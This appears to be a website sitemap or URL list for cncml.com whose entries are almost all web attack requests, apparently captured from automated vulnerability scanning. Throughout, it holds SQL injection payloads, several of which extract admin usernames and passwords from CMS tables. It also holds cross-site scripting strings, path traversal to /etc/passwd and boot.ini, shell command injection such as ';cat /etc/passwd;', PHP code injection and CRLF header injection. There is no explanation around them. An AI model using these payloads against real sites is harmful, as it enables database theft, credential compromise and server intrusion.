http://www.cncml.com/mrxt/?user&q=action/check_email&email=%27%20and%20%28select%201%20from%20%28select%20count%28%2a%29%2Cconcat%28md5%280x7765627363616e%29%2Cfloor%28rand%280%29%2a2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23 0.0001 http://www.cncml.com/mrxt/?user&q=login&&q=check_email&email=test@sec.org%27%20and%20(Select%201%20from%20(Select%20count(*),concat(md5(1122),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23 0.0001 http://www.cncml.com/mrxt/?user&q=login&&q=check_username&username=only_test%27%20and%20(Select%201%20from%20(Select%20count(*),concat(md5(1122),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23 0.0001 http://www.cncml.com/mrxt/?user-getpass-1' 0.0001 http://www.cncml.com/mrxt/?user-space-1' 0.0001 http://www.cncml.com/mrxt/?xss_test%3Ciframe%20src=javascript:this%5B%22%5Cx61%5Cx6c%5Cx65%5Cx72%5Cx74%22%5D(%2242873%22)%3E 0.0001 http://www.cncml.com/mrxt/index.php/*123*/'union/**/select/**/1,2,3,4,5,6,7,8,md5(1122),10,11#&action=getatlbyid 0.0001 http://www.cncml.com/mrxt/index.php/?Itemid=11&option=com_search&searchword=%f6%22%20onmouseover%3dprompt(3312)%20//&task=search 0.0001 http://www.cncml.com/mrxt/index.php/Index/index/name/$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/mrxt/index.php/Site/article/id/-5724)+UNION+ALL+SELECT+11,11,11,0x63656461723A66696E643A696969696969,11,11,11,11,11,11,11,11,11#.html 0.0001 http://www.cncml.com/mrxt/index.php/Site/listTpl/id/-7266)+UNION+ALL+SELECT+0x63656461723A66696E643A696969696969,NULL,NULL,NULL#.html 0.0001 http://www.cncml.com/mrxt/index.php/Site/page/id/-7266)+UNION+ALL+SELECT+0x63656461723A66696E643A696969696969,NULL,NULL,NULL#.html 0.0001 http://www.cncml.com/mrxt/index.php/abc-abc-abc-$%7B@exit(md5(118741911))%7D/ 0.0001 http://www.cncml.com/mrxt/index.php/cms/item-comment?callback=jsonp1380096883458'%22()%26%25%3Cscript%3Eprompt(42873)%3C/script%3E&iid=114&page=1&view_page=1&_=1380096883791&_ajax_request= 0.0001 http://www.cncml.com/mrxt/index.php/product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(0x7c,admin_name,0x7c,admin_pw,0x7c,sha1(0x3336307765627363616e))+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19%20and+'1'='1 0.0001 http://www.cncml.com/mrxt/index.php/weblinks-categories?id=just_test 0.0001 http://www.cncml.com/mrxt/index.php?-dauto_prepend_file%3d/etc/passwd+-n 0.0001 http://www.cncml.com/mrxt/index.php?_COOKIE%5Bcfg%5D%5Bdatabase%5D=mysql&_COOKIE%5Bcfg%5D%5Bdb_host%5D=localhost&_COOKIE%5Bcfg%5D%5Bdb_user%5D=webscan&_COOKIE%5Bcfg%5D%5Bdb_pass%5D=reer&_COOKIE%5Bcfg%5D%5Bdb_name%5D=db 0.0001 http://www.cncml.com/mrxt/index.php?a=list_type&c=index&m=link&siteid='+and(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,unhex(Hex(cast(v9_admin.username+as+char))),0x27,0x7e)+from+%60phpcmsv9%60.v9_admin+Order+by+userid+limit+0,1)+)+from+%60information_schema%60.tables+limit+0,1),floor(rand(0)*2))x+from+%60information_schema%60.tables+group+by+x)a)+and+'1'%3D'1 0.0001 http://www.cncml.com/mrxt/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing%20onmouonmouseoverseover=alert(42873)%20y=&m=content&page=&pay_type_int=&price=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/mrxt/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing%22%20onmouseover=alert(42873)%20y=&m=content&page=&pay_type_int=&price=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/mrxt/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=2%20onmoonmouseoveruseover=alert(42873)%20y=&zone=3363 0.0001 http://www.cncml.com/mrxt/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=2%22%20onmouseover=alert(42873)%20y=&zone=3363 0.0001 http://www.cncml.com/mrxt/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=2000_3000%20onmonmouseoverouseover=alert(42873)%20y=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/mrxt/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=2000_3000%22%20onmouseover=alert(42873)%20y=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/mrxt/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=4%20onmonmouseoverouseover=alert(42873)%20y=&price=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/mrxt/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=4%22%20onmouseover=alert(42873)%20y=&price=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/mrxt/index.php?a=lists&agent=&bedroom=4_100%20onmouonmouseoverseover=alert(42873)%20y=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=&zone=336 0.0001 http://www.cncml.com/mrxt/index.php?a=lists&agent=&bedroom=4_100%22%20onmouseover=alert(42873)%20y=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=&zone=336 0.0001 http://www.cncml.com/mrxt/index.php?a=lists&agent=2%20onmoonmouseoveruseover=alert(42873)%20y=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/mrxt/index.php?a=lists&agent=2%22%20onmouseover=alert(42873)%20y=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/mrxt/index.php?ac=order&at=list 0.0001 http://www.cncml.com/mrxt/index.php?ac=search&at=taglist&tagkey=%2527,tags)%20or(select%201%20from(select%20count(*),concat((select%20(select%20concat(0x7e,0x27,table_name,0x27,0x7e))%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23 0.0001 http://www.cncml.com/mrxt/index.php?ac=search&at=taglist&tagkey=a%2527 0.0001 http://www.cncml.com/mrxt/index.php?act=coupon&area_id=&city_id=1&class_id=&class_id_1=&mall_id=&op=list&orderby=coupon_end_time&sort=-12%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(0x23,md5(1122),0x23,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/mrxt/index.php?act=index&op=list&city_id=1&area_id=&mall_id=&class_id=2&class_id_1=8&pconsume=&orderby=person_consume&sort=,(select%201%20from(select%20count(*),concat((select%20(select%20(SELECT%20CHAR(100,%2056,%20100,%2057,%2048,%2097,%2097,%2057,%2052,%2051,%20101,%2052,%2097,%20100,%20100,%2050)))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a) 0.0001 http://www.cncml.com/mrxt/index.php?act=index&op=list&city_id=1&area_id=&mall_id=&class_id=3&class_id_1=22&pconsume=&orderby=add_time%20asc,%20(SELECT%201%20from%20(select%20count(*),concat(floor(rand(0)*2),%20md5(1122))a%20from%20information_schema.tables%20group%20by%20a)b);%23&sort=asc 0.0001 http://www.cncml.com/mrxt/index.php?act=search&key=click&order=desc,%20(SELECT%201%20from%20(select%20count(*),concat(floor(rand(0)*2),%20md5(1122))a%20from%20information_schema.tables%20group%20by%20a)b);%23&cate_id=8 0.0001 http://www.cncml.com/mrxt/index.php?act=show_groupbuy&op=groupbuy_list&groupbuy_area=&groupbuy_class=&groupbuy_price=1&groupbuy_order_key=price&groupbuy_order=asc,%20(SELECT%201%20from%20(select%20count(*),concat(floor(rand(0)*2),%20md5(1122))a%20from%20information_schema.tables%20group%20by%20a)b);%23 0.0001 http://www.cncml.com/mrxt/index.php?action=article&do=show&todo=content&a=282%20AND%20(SELECT%203853%20FROM(SELECT%20COUNT(*),CONCAT(0x6366726565723A,(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)),0x3A696A783A,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/mrxt/index.php?action=detail&do=offer&title=%2527or%25201%253D2%2523 0.0001 http://www.cncml.com/mrxt/index.php?action=school&todo=content&do=-1%20and%20(select%201%20from%20%20(select%20count(*),concat(0x7c,md5(1122),0x7c,floor(rand(0)*2))x%20from%20%20information_schema.tables%20group%20by%20x)a) 0.0001 http://www.cncml.com/mrxt/index.php?action=shop&todo=content&do=-1%20UNION%20SELECT%201,2,3,concat(0x7c,md5(1122),0x7c),5,6,7,8,9,10,11,12,13,14,15,16,17 0.0001 http://www.cncml.com/mrxt/index.php?action=teacher&teacher_id=(SELECT%201833%20FROM(SELECT%20COUNT(*),CONCAT(0x7e,md5(1122),0x7e,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)&todo=infor 0.0001 http://www.cncml.com/mrxt/index.php?app=/../robots.txt%00 0.0001 http://www.cncml.com/mrxt/index.php?app=user&ac=../../../robots.txt%00 0.0001 http://www.cncml.com/mrxt/index.php?app=user&ac=plugin&in=../../robots.txt%00 0.0001 http://www.cncml.com/mrxt/index.php?app=widget&mod=Category&act=getChild&model_name=Schedule&method=runSchedule&id%5Btask_to_run%5D=addons/Area)-%3EgetAreaList();print(md5(1122));%23 0.0001 http://www.cncml.com/mrxt/index.php?c=MTA3==&op=../../../../../../../../../../etc/passwd%00.jpg 0.0001 http://www.cncml.com/mrxt/index.php?c=ajax&a=member_login&template=../../ooxx.php 0.0001 http://www.cncml.com/mrxt/index.php?c=api&a=down&file=YWQ2OVpRcGJtL3d3NWh5WmVxbkNYbGRnZjVnalFLSXRaWkRpT1dVZmNXQ1BqNjhPeE82RkpKak1iWUZwcDZrK2tXaFZYdTRZ 0.0001 http://www.cncml.com/mrxt/index.php?c=api&m=data&auth=finecms&param=action%3Dcache%20name%3DSPACE-MODEL.1%27%5D%3Bprint%28md5%281122%29%29%3B%2f%2f 0.0001 http://www.cncml.com/mrxt/index.php?c=buylist&a=dellist&id=1%20and%20(select%201%20from%20(select%20count(*),concat(md5(1122),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a) 0.0001 http://www.cncml.com/mrxt/index.php?c=com_index&m=yp&userid=12%22%3E%3Ciframe%20src=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/mrxt/index.php?c=tj&f=include&js=/../../config.php 0.0001 http://www.cncml.com/mrxt/index.php?c=ueditor&f=remote_image&upfile=http://0.0.0.0/reer.php 0.0001 http://www.cncml.com/mrxt/index.php?caid=1&ccid12=12&fsale=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/mrxt/index.php?case=../../../../../../../../../../../../../../../../etc/passwd%00 0.0001 http://www.cncml.com/mrxt/index.php?case=archive&act=orders 0.0001 http://www.cncml.com/mrxt/index.php?case=archive&act=orders&aid%5Baid%60%3D2%20and%200%20union%20select%201,2,3,char(106),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,md5(1122),36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58%20from%20cmseasy_user%20where%20userid%3C2%20%20--%20%20a%5D=26 0.0001 http://www.cncml.com/mrxt/index.php?case=archive&act=orders&aid%5Btypeid%60%3d1%20UNION%20SELECT@typeid,2,3,concat(0x7e,md5(1122),0x7e),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58%20from%20cmseasy_archive%20ORDER%20BY%201%23%5D=10 0.0001 http://www.cncml.com/mrxt/index.php?case=archive&act=search&keyword=webscan%25%2527%29%09union%09select%090%2C0%2C0%2Cconcat%28username%2Cpassword%29%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%09from%09cmseasy_user%09where%09groupid%3D2%09union%09SELECT%09*%09FROM%09%60cmseasy_archive%60%09WHERE%09%28title%09like%09%2527%25aaaaaaaa 0.0001 http://www.cncml.com/mrxt/index.php?case=manage&act=delete&manage=orders&guest=1&id=-1 0.0001 http://www.cncml.com/mrxt/index.php?case=tag&act=show&tag=%2522%20union%20select%200x2D3120756E696F6E2073656C65637420312C307833313239323037353645363936463645323037333635364336353633373432303331324333323243333332433644363433353238333533353332333233313331333233323239324333353243333632433337324333383243333932433331333032433331333132433331333232433331333332433331333432433331333532433331333632433331333732433331333832433331333932433332333032433332333132433332333232433332333332433332333432433332333532433332333632433332333732433332333832433332333932433333333032433333333132433333333232433333333332433333333432433333333532433333333632433333333732433333333832433333333932433334333032433334333132433334333232433334333332433334333432433334333532433334333632433334333732433334333832433334333932433335333032433335333132433335333232433335333332433335333432433335333532433335333632433335333732433335333832303636373236463644323036333644373336353631373337393546373537333635373232332C332D2D,2%23 0.0001 http://www.cncml.com/mrxt/index.php?controller=block&action=goodsCommend&id=0)%20Union%20select%201,md5(1122)%23 0.0001 http://www.cncml.com/mrxt/index.php?controller=block&action=spec_value_list&id=1%20union%20select%201,%28Select%20concat%280x5b,admin_name,0x3a,PassWord,0x5d%29%29,3,4,5,6%20from%20iwebshop_admin 0.0001 http://www.cncml.com/mrxt/index.php?controller=site&action=getProduct&specJSON=%7B%20%22people%22:%221'%20and%201=2%20union%20select%20md5(1122),2,3,4,5,6,7,8,9%20and%20'1'='1%22%7D 0.0001 http://www.cncml.com/mrxt/index.php?ctl=deals&k=pp%25%27%29and%20extractvalue%281%2Cconcat%280x5c%2Cmd5%280x7765627363616e%29%29%29%23 0.0001 http://www.cncml.com/mrxt/index.php?ctl=help&act=term%27%20and%20extractvalue%281%2Cconcat%280x5c%2Cmd5%280x7765627363616e%29%29%29%23 0.0001 http://www.cncml.com/mrxt/index.php?doc-summary-xxxxxxxxx%27%20and%201=2%20union%20select%201,2,3,4,5,CONCAT(0x7c,username,0x7c,password,0x7c,CHAR(119,101,98,115,99,97,110)),7,8,9,10,11,12,13,14,15,16,17,18,19,20%20from%20wiki_user%20where%20groupid=4%20limit%201%23 0.0001 http://www.cncml.com/mrxt/index.php?id=-1%7C%7C1%20group%20by%20mid(md5(1122)%20from%20rand()*10%20for%2030)having%20min(1)%23&mod=compare 0.0001 http://www.cncml.com/mrxt/index.php?id=product&c=project&cate=1&ext%5Bid%3C0%20union%20select%20111,2,3,4,5,6,md5(1122),8,9%20,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--%5D=1 0.0001 http://www.cncml.com/mrxt/index.php?index=a&skin=default/../&dataoptimize_html=/../../templates/default/images/css/metinfo.css 0.0001 http://www.cncml.com/mrxt/index.php?keywords=zzz333&mod=search 0.0001 http://www.cncml.com/mrxt/index.php?language_id=1%20and%20%20%28SELECT%201%20from%20%28select%20count%28%2a%29%2Cconcat%28floor%28rand%280%29%2a2%29%2C%28substring%28%28select%28md5%281122%29%29%29%2C1%2C62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%23&is_protect=1&action=cccc 0.0001 http://www.cncml.com/mrxt/index.php?m=Ajax&a=gettypeattr&type_id=1%27%20AND%20%28SELECT%201%20FROM%28SELECT%20COUNT%28%2a%29%2CCONCAT%28md5%280x7765627363616e%29%2CFLOOR%28RAND%280%29%2a2%29%29X%20FROM%20information_schema.tables%20GROUP%20BY%20X%29a%29%23 0.0001 http://www.cncml.com/mrxt/index.php?m=Article&a=showByUname&uname=%2527or%25201%253D%2528select%25201%2520from%2520%2528select%2520count%2528%252a%2529%252Cconcat%2528floor%2528rand%25280%2529%252a2%2529%252C%2528select%2520md5%25281122%2529%2520from%2520fanwe_admin%2520limit%25200%252C1%2529%2529a%2520from%2520information_schema.tables%2520group%2520by%2520a%2529b%2529%2523 0.0001 http://www.cncml.com/mrxt/index.php?m=Goods&a=showByUname&uname=%2527AND%20%28SELECT%201%20FROM%28SELECT%20COUNT%28%2a%29%2CCONCAT%28md5%280x7765627363616e%29%2CFLOOR%28RAND%280%29%2a2%29%29X%20FROM%20information_schema.tables%20GROUP%20BY%20X%29a%29%23 0.0001 http://www.cncml.com/mrxt/index.php?m=Goods&a=showcate&id=1'cfreer 0.0001 http://www.cncml.com/mrxt/index.php?m=Order&a=index 0.0001 http://www.cncml.com/mrxt/index.php?m=announcement&s=admin/notice_manager&action=modify&id=1212%20UnIon%20select%201,2,concat(user,0x7c,password),4,5,6,7,8%20from%20webscan%23 0.0001 http://www.cncml.com/mrxt/index.php?m=company&s=admin/exportexcel&ordrby=user%20and%201=websec%23 0.0001 http://www.cncml.com/mrxt/index.php?m=company&s=space_comments&uid=1and%20(SELECT%201%20from%20(selectcount(*),concat(floor(rand(0)*2),(substring((select(selEctconcat(user,0x7c,password)%20from%20b2bbuilder_admin%20limit%200,1)),1,62)))a%20frominformation_schema.tables%20group%20by%20a)b) 0.0001 http://www.cncml.com/mrxt/index.php?m=company&s=space_mail&tid=1)%20and%201=websec%20%23 0.0001 http://www.cncml.com/mrxt/index.php?m=message&s=inquire&userid=1)%20UnIon%20select%201,12,123%20from%20webscan%23 0.0001 http://www.cncml.com/mrxt/index.php?m=message&s=inquiry_basket 0.0001 http://www.cncml.com/mrxt/index.php?m=news&s=admin/news&newsid=1%20and%20(SELECT%201%20from%20websec) 0.0001 http://www.cncml.com/mrxt/index.php?m=news&s=admin/newslist&submit=%E5%88%A0%E9%99%A4&did=999%29%20and%20%28SELECT%201%20from%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28select%28selEct%20concat%28user,0x7c,password%29%20from%20f10bd198561acb0197452013b7a82429%20limit%200,1%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%23 0.0001 http://www.cncml.com/mrxt/index.php?m=poster&c=index&a=poster_click&id=1 0.0001 http://www.cncml.com/mrxt/index.php?m=search&a=public_get_suggest_keyword&url=http://www.baidu.com/&q=/../robots.txt 0.0001 http://www.cncml.com/mrxt/index.php?m=video&c=video_for_ck&a=add_f_ckeditor&vid=1&title=1122&description=a%E9%8C%A6%27,0,0,0,0,0,%28select%20%281%29%20from%20mysql.user%20where%201=1%20aNd%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%29%29%23 0.0001 http://www.cncml.com/mrxt/index.php?m=video&c=video_for_ck&a=add_f_ckeditor&vid=1&title=a%E9%8C%A6%27,0,0,0,0,0,%28select%20%281%29%20from%20mysql.user%20where%201=1%20aNd%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%29%29%23 0.0001 http://www.cncml.com/mrxt/index.php?m=wap&siteid=1&a=big_image&url=aHR0cDovL3hzc3Rlc3QuY29tIiBvbmVycm9yPSJqYXZhc2NyaXB0OmFsZXJ0KDQyODczKTs= 0.0001 http://www.cncml.com/mrxt/index.php?m=yp&c=index&a=lists&areaid=12&catid=114&price=&tid=1%22%20onmouseover=prompt(42873)%20&page=1&order=1 0.0001 http://www.cncml.com/mrxt/index.php?m=yp&c=index&a=lists&areaid=37%20%20onmouseover%3Dprompt%2842873%29%20&catid=10&price=1_500&page=1&order=4 0.0001 http://www.cncml.com/mrxt/index.php?m=yp&c=index&a=lists&areaid=37&catid=10&price=%22%20onmouseover=prompt(42873)%20&page=1&order=4 0.0001 http://www.cncml.com/mrxt/index.php?mod=../admin/admin&a=list 0.0001 http://www.cncml.com/mrxt/index.php?mod=../admin/admin&ac=list 0.0001 http://www.cncml.com/mrxt/index.php?option=com_hello&controller=../../../../../../../../etc/passwd%00 0.0001 http://www.cncml.com/mrxt/index.php?option=com_ztautolink&controller=../../../../../../../../../../../../../../../etc/passwd%00 0.0001 http://www.cncml.com/mrxt/index.php?product-%22%3E%3Ciframe%20src=javascript:window%5B%22%5Cx61%5Cx6c%5Cx65%5Cx72%5Cx74%22%5D(42873)%20-1122-viewpic.html 0.0001 http://www.cncml.com/mrxt/index.php?q=1%25%2527%2520and%25201%253D2%2520%2523&do=search&action=lists&module=product 0.0001 http://www.cncml.com/plugin.php 0.0005 http://www.cncml.com/plugin.php?%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=%0d%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=%0d%0a%20SomeCustomInjectedHeader:injected_by_test 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=%3C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=%3C?php%20print(md5(1122));exit;?%3E 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=%3Cdir 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=%60ping%20-c%205%20127.0.0.1%60 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=%7C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=%7Cping%20-n%205%20127.0.0.1%7C 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=%7Cping+-c+4+127.0.0.1 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id='%2bCONVERT(INT,CHAR(106)%2bCHAR(67)%2bCHAR(117)%2bCHAR(106)%2bCHAR(50)%2bCHAR(108)%2bCHAR(67)%2bCHAR(70)%2bCHAR(87)%2bCHAR(122)%2bCHAR(106))%2b' 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id='%5D;print(md5(1122));// 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=');print(md5(1122));// 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=';?%3E%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=(EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))) 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=(SELECT%20(CASE%20WHEN%20(19=61)%20THEN%200x636C6F7564736561726368%20ELSE%2019*(SELECT%2019%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=(SELECT%20(CASE%20WHEN%20(31=67)%20THEN%200x636C6F7564736561726368%20ELSE%2031*(SELECT%2031%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=(SELECT%20(CASE%20WHEN%20(37=34)%20THEN%200x636C6F7564736561726368%20ELSE%2037*(SELECT%2037%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=(SELECT%20(CASE%20WHEN%20(68=68)%20THEN%200x636C6F7564736561726368%20ELSE%2068*(SELECT%2068%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=(SELECT%20(CASE%20WHEN%20(86=55)%20THEN%200x636C6F7564736561726368%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=(SELECT%20CHAR(116)%2bCHAR(104)%2bCHAR(105)%2bCHAR(110)%2bCHAR(107)%2bCHAR(58)%2b(SELECT%20(CASE%20WHEN%20(1943=1943)%20THEN%20CHAR(105)%20ELSE%20CHAR(48)%20END))%2bCHAR(58)%2bCHAR(100)%2bCHAR(105)%2bCHAR(102)%2bCHAR(102)%2bCHAR(101)%2bCHAR(114)%2bCHAR(101)%2bCHAR(110)%2bCHAR(116)) 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=................windowswin.ini 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=../../../../../../../../boot.ini 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=../../../../../../../../boot.ini%00 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=../../../../../../../../boot.ini%00.htm 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=../../../../../../../../boot.ini%00.html 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=../../../../../../../../boot.ini%00.jpg 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=../../../../../../../../boot.ini%00.txt 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./boot.ini 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=;$%7B@print(md5(1122))%7D; 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=;cat%20/etc/passwd; 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=;print(md5(1122));%23 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=C:%5Cboot.ini 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=ELT(75=92,0x636C6F7564736561726368) 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=MAKE_SET(64=95,0x636C6F7564736561726368) 0.0001 http://www.cncml.com/plugin.php?formhash=507ece2d&id=cloudsearch 0.0006 